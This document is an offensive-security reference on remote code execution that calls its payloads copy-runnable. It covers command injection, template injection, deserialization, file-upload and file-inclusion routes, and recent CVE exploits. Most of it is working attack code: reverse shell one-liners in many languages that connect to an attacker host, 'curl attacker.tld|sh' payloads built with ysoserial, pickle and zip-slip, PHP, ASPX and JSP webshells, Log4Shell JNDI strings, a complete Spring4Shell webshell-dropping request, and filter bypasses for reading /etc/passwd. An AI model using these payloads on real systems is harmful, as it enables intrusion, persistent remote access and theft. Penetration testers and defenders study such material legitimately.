RCE — Command, Template, Deserialization

RCE is the top line on every report. This note is the working catalogue of the primitives that still land in 2026 — command injection, template injection, deserialisation, file upload sinks, and the CVE chains that bundle them. Copy-runnable payloads throughout.


Command Injection

Detection

# Single-shot probes — if any of these produce a time delay or a collaborator hit, you have injection
curl "$TARGET/?x=127.0.0.1;id"
curl "$TARGET/?x=127.0.0.1|id"
curl "$TARGET/?x=127.0.0.1%0Aid"
curl "$TARGET/?x=127.0.0.1%0a%0did"
curl "$TARGET/?x=127.0.0.1%26id"
curl "$TARGET/?x=127.0.0.1\`id\`"
curl "$TARGET/?x=127.0.0.1\$(id)"
curl "$TARGET/?x=127.0.0.1;sleep%205"         ← timing
curl "$TARGET/?x=127.0.0.1||ping%20-c%204%20ID.oast.pro"   ← OOB

Shell metacharacters that work in 2026

;   &   |   &&   ||   `cmd`   $(cmd)   %0a (LF)   %0d (CR)   %00

Classic separators (POSIX shell)

cmd1 ; cmd2              # run both, unconditional
cmd1 && cmd2             # run cmd2 if cmd1 succeeds
cmd1 || cmd2             # run cmd2 if cmd1 fails
cmd1 | cmd2              # pipe stdout to stdin
cmd1 & cmd2              # background cmd1, run cmd2
$(cmd)                   # command substitution
`cmd`                    # legacy command substitution

Windows

cmd1 & cmd2
cmd1 && cmd2
cmd1 | cmd2
cmd1 || cmd2

PowerShell has its own:

cmd1 ; cmd2
$(cmd)
&{cmd}

Filter bypass — space removed

cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
cat<<<$'\n/etc/passwd'
# Tab character
cat%09/etc/passwd

Filter bypass — slash blocked (path traversal)

cd etc; cat passwd
cat /e??/p?ss??
cat /e*c/pass*d
cat $(echo L2V0Yy9wYXNzd2Q= | base64 -d)

Filter bypass — keyword blocklist (cat / wget / curl blocked)

c''at /etc/passwd
c\\at /etc/passwd
c"a"t /etc/passwd
${CAT:=cat} $CAT /etc/passwd

# Reverse the string
rev <<< dwssap/cte/ tac

# Use a different binary
tac /etc/passwd
less /etc/passwd
more /etc/passwd
head -n 1000 /etc/passwd
tail -n 1000 /etc/passwd
od -c /etc/passwd
xxd /etc/passwd
strings /etc/passwd
awk '1' /etc/passwd
sed '' /etc/passwd
grep '' /etc/passwd
perl -pe '' /etc/passwd
python3 -c 'print(open("/etc/passwd").read())'

Blind command injection — OOB

# DNS tunnel data out via hostname
?x=1;curl%20$(whoami).attacker.tld
?x=1;ping%20$(hostname).oast.pro
?x=1;nslookup%20$(id|base64).oast.pro

Register a collaborator, watch logs, extract base64 from the subdomain label.

Blind command injection — timing

?x=1;sleep%205
?x=1|sleep%205
?x=1&&sleep%205
?x=1;if%20[%20$(whoami)%20=%20root%20];then%20sleep%205;fi

Reverse shell one-liners (Linux)

# Bash
bash -i >& /dev/tcp/ATTACKER/4444 0>&1

# Bash (alt)
0<&196;exec 196<>/dev/tcp/ATTACKER/4444; sh <&196 >&196 2>&196

# nc (with -e, traditional nc only)
nc -e /bin/bash ATTACKER 4444

# nc mkfifo (any nc)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

# PHP
php -r '$sock=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Ruby
ruby -rsocket -e 'f=TCPSocket.open("ATTACKER",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Go (compiled separately, drop binary)
GOOS=linux GOARCH=amd64 go build -o rev rev.go

Reverse shell (Windows)

# PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Stage from HTTP
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/s.ps1')"

# Nishang / PowerCat
powercat -c ATTACKER -p 4444 -e powershell

Spawn a TTY after getting a shell

# Once inside a crappy /bin/sh reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
stty rows 40 columns 120
# Or upgrade via script
script -q /dev/null

Server-Side Template Injection (SSTI)

Template engines run code. User input concatenated into a template → code execution. Test every output that seems to "format" user data.

Detection — universal probe

${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
${{7*7}}
@(7*7)
%{7*7}
<th:block th:text="${7*7}"/>

Response shows 49 → template engine executed math. Which probe fired tells you which engine.

Rendered asEngine
49 from {{7*7}}Jinja2, Twig, Liquid, Handlebars
49 from ${7*7}Freemarker, JSP EL, Thymeleaf, Velocity, Groovy
49 from <%= 7*7 %>ERB (Ruby), EJS (Node), JSP
49 from #{7*7}Pug
{{7*7}} unchanged but {{7+7}} renders 14Twig SAFE mode

Disambiguating same-probe engines

{{7*'7'}}                   → Jinja2: '7777777'  (int * str = repeated string)
{{7*'7'}}                   → Twig:    49       (str coerced to int)
{{config}}                  → Jinja2:  <Config object>
{{_self}}                   → Twig:    <Twig_Template>

${7*7}                      → Freemarker: 49
${"z".getClass()}           → Freemarker: class java.lang.String
${7*7}                      → Thymeleaf (Spring): often 49 or parsed literal

Jinja2 — the canonical SSTI

Flask's default template engine. Best-known payload set.

# Detect
{{7*7}}

# Dump config (Flask SECRET_KEY, DB URLs, every env var)
{{config}}
{{config.items()}}

# Reach Python runtime
{{''.__class__.__mro__[1].__subclasses__()}}
# Pick an index that's <class 'subprocess.Popen'>
{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()}}

# Modern Jinja (built-in globals)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Shorter — lipsum trick
{{lipsum.__globals__.os.popen('id').read()}}

# Even shorter — via url_for / get_flashed_messages
{{url_for.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Bypass {{ }} filter with {% %}
{%print(''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate())%}

Flask + Jinja2 one-liner for SECRET_KEY extraction

{{config['SECRET_KEY']}}

With SECRET_KEY you forge session cookies:

flask-unsign --sign --secret 'leaked_key' --cookie "{'user_id': 1, 'role': 'admin'}"

Twig (PHP — Symfony, Drupal)

{{7*7}}                                  → 49
{{_self}}                                → Twig environment
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Twig 2.x
{{['id']|filter('system')}}

# Twig 3.x
{{['id']|map('system')|join(' ')}}

Drupal 8/9 SSTI (CVE-2019-6340 shape) is Twig through a REST endpoint:

PATCH /node/1?_format=hal_json HTTP/1.1
{"link":[{"options":"O:24:\"Drupal\\\\Core\\\\Link\\\\Text\":..."}]}

Freemarker (Java — Liferay, Apereo, many enterprise CMS)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign val="freemarker.template.utility.ObjectConstructor"?new()>${val("java.lang.ProcessBuilder",["id"]).start()}

${"freemarker.template.utility.Execute"?new()("id")}

Velocity (Java — Confluence-adjacent, many CMS)

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
#set($process=$runtime.exec("id"))
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$stringClass.forName("java.io.InputStreamReader").getConstructor($stringClass.forName("java.io.InputStream")).newInstance($inputStream))
#set($bufferedReader=$stringClass.forName("java.io.BufferedReader").getConstructor($stringClass.forName("java.io.Reader")).newInstance($inputStreamReader))
#set($output="")
#foreach($i in [1..9999])
 #set($line=$bufferedReader.readLine())
 #if($line==$null)#break#end
 #set($output="$output$line")
#end
$output

Modern Velocity Engine versions block Runtime in strict mode; look for older versions in Confluence, Atlassian, and JIRA plugins.

Thymeleaf (Spring)

${T(java.lang.Runtime).getRuntime().exec('id')}

# In expression preprocessors
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

CVE-2024-22263 class — Thymeleaf SSTI through Spring path variables.

ERB (Ruby) / Ruby template injection

<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.open('/etc/passwd').read %>

Handlebars (Node)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}{{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}{{this.push "return process.mainModule.require('child_process').execSync('id').toString();"}}
        {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Messy. Use tplmap or SSTImap to speed up discovery.

Automated SSTI

# SSTImap — fork of tplmap
git clone https://github.com/vladko312/SSTImap
python3 sstimap.py -u "https://$TARGET/?x=FUZZ" --os-shell

# Burp extension: Hackvertor (template detection + encoding)

Deserialization RCE

Take untrusted data, call the language's deserializer, execute attacker code. Classic and still a bug factory.

Java — ysoserial

git clone https://github.com/frohoff/ysoserial
mvn clean package -DskipTests

# Generate a payload for a classpath gadget
java -jar ysoserial.jar CommonsCollections5 'curl attacker.tld|sh' > payload.bin
java -jar ysoserial.jar CommonsBeanutils1 'id' > payload.bin
java -jar ysoserial.jar Spring1 'id' > payload.bin
java -jar ysoserial.jar URLDNS 'http://ID.oast.pro/' > payload.bin   ← DNS ping only

Then deliver the payload base64-encoded through whatever sink accepts it: cookies, ViewState (old ASP.NET bridges to Java), RMI, JMX, JMS, T3 (WebLogic), IIOP (old CORBA), deserialize-from-HTTP-body endpoints.

# HTTP body
curl -X POST "$TARGET/api/admin" -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload.bin

# Cookie
curl "$TARGET/" -H "Cookie: rememberMe=$(base64 -w0 payload.bin)"    ← Shiro CVE-2016-4437 shape

.NET — ysoserial.net

# Install the tool
dotnet tool install --global ysoserial.net --version 1.36.0

# Generate payload
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami"

# ViewState (ASP.NET classic)
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationkey="KEY" --validationalg="SHA1"

# To target a signed ViewState you need the machineKey. Leak it via LFI/SSRF/Config file disclosure.

PHP — phpggc

git clone https://github.com/ambionics/phpggc
cd phpggc

# List gadget chains for installed libraries
./phpggc -l | head

# Generate
./phpggc Laravel/RCE9 system id -b    ← base64 encoded, safe for URL
./phpggc Guzzle/RCE1 system id
./phpggc Monolog/RCE5 system id
./phpggc Symfony/RCE4 system id
./phpggc Wordpress/RCE1 system id

# Deliver via unserialize() sink
curl "$TARGET/?data=$(./phpggc Monolog/RCE5 system id -u)"

Grep target for unserialize(, ->unserialize(, Yaml::parse, PHAR://, wakeup, destruct. PHAR metadata deserialisation reaches unserialize via any file-handling function that touches a phar:// URL — file_exists, filesize, fopen, imagecreatefromfile.

Python — pickle

import pickle, os, base64

class RCE:
    def __reduce__(self):
        return (os.system, ('curl attacker.tld|sh',))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)

Any pickle.loads on attacker-controlled bytes = RCE. Same story for:

yaml.load(x)                ← use yaml.safe_load
yaml.full_load(x)
shelve.open(...)            ← wraps pickle
dill.loads(x)
joblib.load('x.pkl')
torch.load('x.bin')         ← HUGE attack surface in ML deployments

Ruby — Marshal / YAML

require 'erb'
require 'yaml'

# YAML.load (not safe_load) on ≤Ruby 2.x
payload = "--- !ruby/object:Gem::Installer\n    i: x\n--- !ruby/object:Gem::SpecFetcher\n    i: y\n--- !ruby/object:Gem::Requirement\n  requirements:\n    !ruby/object:Gem::Package::TarReader\n      io: &1 !ruby/object:Net::BufferedIO\n        io: &1 !ruby/object:Gem::Package::TarReader::Entry\n          read: 'id'\n          header: \"abc\"\n      debug_output: &1 !ruby/object:Net::WriteAdapter\n        socket: &1 !ruby/object:Gem::RequestSet\n          sets: !ruby/object:Net::WriteAdapter\n            socket: !ruby/module 'Kernel'\n            method_id: :system\n          git_set: id\n        method_id: :resolve\n"

universal_gadget_rb repo has tested chains.

Node.js — node-serialize

const payload = {
    rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('id', function(err,out){ console.log(out); }); }()"
};
const serialized = require('node-serialize').serialize(payload);
// This string → send to target

Lots of older React/Express apps still use node-serialize.

Detection heuristics

Java:    bytes beginning with 0xACED0005
.NET:    XML with "System.Data.Services.Internal" references; or base64 starting with AAEA
PHP:     strings like O:8:"stdClass":1:{...}, a:1:{i:0;...}
Python:  bytes starting with 0x80 (pickle opcode)
Ruby:    04 08 (Marshal magic)

Grep HTTP responses and cookies for these signatures — finding them is half the battle.


File Upload to RCE

Every file upload form is an RCE candidate. The gate is content-type / extension filtering. Bypass patterns:

Filename extension tricks

shell.php.jpg              ← double-extension, Apache <2.4 AddHandler
shell.php%00.jpg           ← null byte (old PHP <5.3)
shell.phtml
shell.php5
shell.phar
shell.pht
shell.phtm
shell.htaccess             ← upload .htaccess then upload shell.anything

shell.asp.jpg              ← IIS 6 double extension
shell.asp;.jpg             ← IIS <7
shell::$DATA               ← NTFS alt stream

Content-Type spoof

Content-Type: image/jpeg

with a PHP file body. Many whitelist-by-mime libraries trust the header.

Magic bytes + polyglot

Prepend GIF89a to a PHP file → still an image to getimagesize(), still PHP to the engine:

GIF89a
<?php system($_GET['c']); ?>

SVG with embedded <script>

Server accepts SVG as "images." Browser renders them inline when served. Chain with stored XSS or direct RCE if the SVG is parsed by an XML library (see XXE).

ZIP path traversal (zip slip)

Upload a zip whose entries use ../../etc/cron.d/attacker as the filename. If the server extracts without path sanitisation, you drop files anywhere writable.

import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr('../../../../../../etc/cron.d/attacker',
               '* * * * * root curl attacker.tld|sh\n')

Race condition upload

Some apps upload to a temporary path, then move / rename / delete. If the temp path is web-reachable during the window, a fast GET races the cleanup:

# Upload in a loop
while :; do curl -F 'f=@shell.php' "$TARGET/upload"; done &

# Hit the shell in a loop in parallel
while :; do curl "$TARGET/uploads/tmp/shell.php?c=id"; done

Rely on the web server parsing the file

.jsp, .war         → Tomcat
.aspx, .ashx       → IIS
.jsp               → Jetty
.js (with eval)   → rarely, unless the app uses it

Upload a webshell in the format the backend executes.

Webshells

PHP:

<?php system($_GET['c']); ?>

<?php @eval($_POST['x']); ?>    ← China Chopper

ASP/ASPX:

<%@ Language=VBScript %>
<%eval request("x")%>
<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd());%>

JSP:

<%@ page import="java.util.*,java.io.*"%>
<%Process p=Runtime.getRuntime().exec(request.getParameter("c"));BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=d.readLine())!=null){out.println(l);}%>

For persistent access, drop a proper webshell:

  • weevely (PHP)
  • antSword (multi-language, GUI)
  • wso / FilesMan (old but reliable)

LFI → RCE

Local file inclusion often bridges to RCE.

PHP wrappers

php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=../config.php

# PHP expect:// (if ext loaded)
expect://id

# PHP zip:// / phar:// (chain with upload)
zip://./uploaded.zip%23file.php
phar://./uploaded.phar/any.txt

PHP wrapper chains (PHP 7.4+)

php://filter/zlib.deflate|convert.base64-encode/resource=...

These are the basis of the "PHP filter chain" RCE technique (2023) — you build arbitrary bytes by chaining filters to reach include() with a payload of your choosing. Tool: php_filter_chain_generator.py:

python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]); ?>'
# → php://filter/convert.iconv.UTF8.CSISO2022KR|...

Use it when include($_GET['file']) is the only primitive and no upload is possible.

Log poisoning

Include a log file whose contents you control — Apache / Nginx access logs accept a User-Agent header, which gets written to disk:

curl "$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
curl "$TARGET/?file=/var/log/apache2/access.log&c=id"

/proc/self/environ

If /proc/self/environ is readable, HTTP User-Agent / Referer end up in the env — include them:

curl "$TARGET/?file=/proc/self/environ" -H "User-Agent: <?php system(\$_GET['c']); ?>"

Session file inclusion

PHP sessions stored as files. Fill a session with PHP code, include the session file:

curl "$TARGET/" -H "Cookie: PHPSESSID=abc" --data-urlencode "name=<?php system(\$_GET['c']); ?>"
curl "$TARGET/?file=/var/lib/php/sessions/sess_abc&c=id"

Server-Side Request Smuggling → RCE

HTTP request smuggling desyncs a front-end proxy from a back-end server. The back-end reads one more request than the front-end sent → attacker "smuggles" a privileged request. Most often this is used for cache poisoning or auth bypass; sometimes it reaches an admin RCE endpoint.

Quick detection:

POST / HTTP/1.1
Host: target
Transfer-Encoding: chunked
Content-Length: 6

0

XYZ

If the server responds 400 Bad Request for XYZ as an HTTP method, you have a TE.CL desync. Use Burp Smuggler extension — no need to hand-craft the rest.


Recent Mass-Exploited RCE CVEs

CVEProductShape
CVE-2021-44228Log4j "Log4Shell"JNDI lookup from log string → RCE. Still finds victims.
CVE-2022-22965Spring4ShellSpring Core ClassLoader → JSP drop
CVE-2022-22963Spring Cloud FunctionSpEL injection RCE
CVE-2023-42793JetBrains TeamCityAuth bypass + RCE
CVE-2023-46604Apache ActiveMQ OpenWireDeserialisation RCE, mass ransomware
CVE-2023-50164Apache StrutsFile upload → path traversal → RCE
CVE-2024-4577PHP CGI (Windows)Argument injection → RCE, wide exploitation within 48h of disclosure
CVE-2024-5806MOVEit TransferAuth bypass (not strictly RCE but in the same campaigns)
CVE-2024-6387OpenSSH "regreSSHion"Pre-auth RCE in sshd
CVE-2024-27198JetBrains TeamCityAuth bypass → RCE via user creation
CVE-2024-23897Jenkins CLIArbitrary file read → RCE via SSH key leak
CVE-2024-45195Apache OFBizPath confusion → SSRF → SSTI → RCE
CVE-2024-38856Apache OFBizScreen rendering auth bypass → RCE
CVE-2024-38063Windows TCP/IP IPv6Pre-auth kernel RCE via crafted packet
CVE-2024-43044JenkinsArbitrary file read via plugin, chains to RCE
CVE-2024-49112Windows LDAPPre-auth integer overflow → RCE
CVE-2024-55591Fortinet FortiOSAuth bypass affecting SSL VPN
CVE-2025-24813Apache TomcatPath traversal + session deserialisation → RCE
CVE-2025-30406CrushFTPUnauth RCE via improperly validated XML
CVE-2025-22224VMware ESXiVMCI zero-day used in APT chains

Log4Shell payloads — still work on 2026 unpatched targets

${jndi:ldap://attacker.tld:1389/a}
${jndi:rmi://attacker.tld:1099/a}
${jndi:dns://attacker.tld/a}
${${lower:j}ndi:ldap://attacker.tld/a}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.tld/a}
${${env:ENV_NAME:-j}ndi:ldap://attacker.tld/a}

Nuclei pack:

nuclei -u "https://$TARGET/" -t cves/2021/CVE-2021-44228*.yaml

Spring4Shell

curl "https://$TARGET/path?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

Drops a JSP webshell at /tomcatwar.jsp.


Quick Reference

# Detection probes — run them early, everywhere
;id      |id      &&id     ||id     `id`     $(id)     %0Aid

# SSTI probes
{{7*7}}    ${7*7}    <%= 7*7 %>    #{7*7}    @(7*7)

# Java deserialisation one-shot
java -jar ysoserial.jar CommonsCollections5 'curl attacker.tld|sh' | base64 -w0

# PHP deserialisation one-shot
./phpggc Laravel/RCE9 system id -b

# Log4Shell
${jndi:ldap://ID.oast.pro/a}

# Webshell upload quickness
curl -F 'file=@shell.php' -F 'submit=upload' "$TARGET/upload"
curl "$TARGET/uploads/shell.php?c=id"

# Upgrade reverse shell to TTY
python3 -c 'import pty;pty.spawn("/bin/bash")' ; stty raw -echo ; fg

# Every target: sign up for https://oast.pro, grab a subdomain, paste it everywhere

Pairs with SSRF, XXE, SQLi. Chain: SSRF → internal service → RCE is the most common escalation in modern engagements.